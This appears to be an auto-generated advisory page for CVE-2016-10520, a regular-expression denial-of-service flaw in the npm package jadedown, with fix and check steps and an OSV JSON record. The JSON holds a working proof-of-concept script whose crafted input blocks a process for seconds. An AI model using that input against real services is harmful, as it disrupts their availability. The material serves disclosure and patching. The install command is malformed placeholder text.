CVE-2016-10520: Jadedown Denial of Service Vulnerability
LOWCVE-2016-10520 is a LOW denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Jadedown libraries in the npm ecosystem. The issue involves regular expression denial of service in jadedown. Remediation is available in the latest vendor maintenance releases.
CVE-2016-10520 at a Glance
How to Fix CVE-2016-10520
To remediate this vulnerability, upgrade all affected Jadedown dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install jadedown@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls jadedown
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2016-10520, inspect your project dependencies using npm:
npm ls jadedown
Analyze the terminal output to locate any version of Jadedown in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls jadedown command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Jadedown, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2016-10520 Affected Jadedown Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
jadedown
|
npm |
≤ 0.0.3
|
|
References
Frequently Asked Questions
What is CVE-2016-10520?
Which Jadedown versions are affected?
What version fixes CVE-2016-10520?
Is jadedown affected?
What CWE is associated with CVE-2016-10520?
How can I check npm dependencies for CVE-2016-10520?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6354-6mhv-mvv5",
"modified" : "2023-09-11T22:25:25Z",
"published" : "2019-02-18T23:38:38Z",
"aliases" : [ "CVE-2016-10520" ],
"summary" : "Regular Expression Denial of Service in jadedown",
"details" : "The `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.\n\n\n### Proof of concept\n```js\nvar jadedown = require('jadedown');\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n console.log(\"COUNT: \" + i);\n var str = genstr(i, 'f') + genstr(i, '#') + '{';\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n jadedown(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n\n```\n\nResults demonstrating blocking for 5 seconds using only 48 characters.\n\n```\n$ node jadedown.js\nCOUNT: 1\nLENGTH: 6\n[ 0, 4014065 ]\nCOUNT: 4\nLENGTH: 12\n[ 0, 503507 ]\nCOUNT: 7\nLENGTH: 18\n[ 0, 325225 ]\nCOUNT: 10\nLENGTH: 24\n[ 0, 1632684 ]\nCOUNT: 13\nLENGTH: 30\n[ 0, 7541230 ]\nCOUNT: 16\nLENGTH: 36\n[ 0, 80889495 ]\nCOUNT: 19\nLENGTH: 42\n[ 0, 636009936 ]\nCOUNT: 22\nLENGTH: 48\n[ 5, 820586760 ]\n```\n\n# Timeline\n- October 24, 2015 - Vulnerability Identified\n- October 24, 2015 - Maintainers Notified\n- October 25, 2015 - Response from Maintainers with intent to fix\n- January 5, 2016 - Advisory Published\n- January 11, 2016 - CVE Requested\n\n\n## Recommendation\n\nThis package is not actively maintained, and has not seen an update since 2011. \n\nThe package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.",
"severity" : [ ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "jadedown"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.0.3"
} ]
} ]
} ],
"references" : [ {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2016-10520"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-6354-6mhv-mvv5"
}, {
"type" : "WEB",
"url" : "https://www.npmjs.com/advisories/52"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2020-06-16T21:17:50Z",
"nvd_published_at" : null
}
}